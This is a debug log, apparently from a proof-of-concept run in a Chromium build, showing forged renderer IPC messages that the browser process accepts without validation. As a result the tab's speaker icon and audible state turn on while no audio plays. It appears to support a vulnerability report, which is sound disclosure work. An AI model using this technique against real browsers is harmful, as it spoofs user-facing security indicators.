[1377:1377:0404/160030.818011:ERROR:third_party/blink/renderer/core/html/media/html_media_element.cc:3302] [POC][renderer] Forging audibility IPC sequence (no real audio is being played).
[1377:1377:0404/160030.818912:ERROR:third_party/blink/renderer/core/html/media/html_media_element.cc:3322] [POC][renderer] Forged IPCs sent: OnMediaMetadataChanged(has_audio=true) / OnMutedStatusChanged(false) / OnUseAudioServiceChanged(false) / OnMediaPlaying()
[1302:1302:0404/160030.858875:INFO:CONSOLE:33] "[page] video.src         = """, source: http://127.0.0.1:47913/poc.html (33)
[1302:1302:0404/160030.859052:INFO:CONSOLE:33] "[page] video.readyState  = 0 (HAVE_NOTHING)", source: http://127.0.0.1:47913/poc.html (33)
[1302:1302:0404/160030.859295:INFO:CONSOLE:33] "[page] video.paused      = true", source: http://127.0.0.1:47913/poc.html (33)
[1302:1302:0404/160030.859401:INFO:CONSOLE:33] "[page] No audio is being produced by this page.", source: http://127.0.0.1:47913/poc.html (33)
[1302:1302:0404/160030.859503:INFO:CONSOLE:33] "[page] Triggering compromised-renderer IPC forge...", source: http://127.0.0.1:47913/poc.html (33)
[1302:1302:0404/160030.860627:ERROR:content/browser/media/media_web_contents_observer.cc:512] [POC][browser] OnUseAudioServiceChanged(0) accepted WITHOUT validation (no platform / MediaFoundation check).
[1302:1302:0404/160030.861440:ERROR:content/browser/media/media_web_contents_observer.cc:578] [POC][browser] NotifyAudioStreamMonitorIfNeeded: IsAudible()=1 uses_audio_service_=0 -> RegisterAudibleClient() (renderer-asserted state, no real audio output verified).
[1302:1302:0404/160030.861558:ERROR:content/browser/media/audio_stream_monitor.cc:268] [POC][browser] AudioStreamMonitor: indicator_is_on_ -> 1 (tab-strip speaker icon) / WasRecentlyAudible() -> 1
[1302:1302:0404/160030.861965:ERROR:content/browser/web_contents/web_contents_impl.cc:2976] [POC][browser] WebContentsImpl::OnAudioStateChanged -> IsCurrentlyAudible()=1 for URL=http://127.0.0.1:47913/poc.html
[1302:1302:0404/160030.865054:INFO:CONSOLE:33] "[page] Done. Check stderr for [POC][browser] lines and the tab-strip speaker icon.", source: http://127.0.0.1:47913/poc.html (33)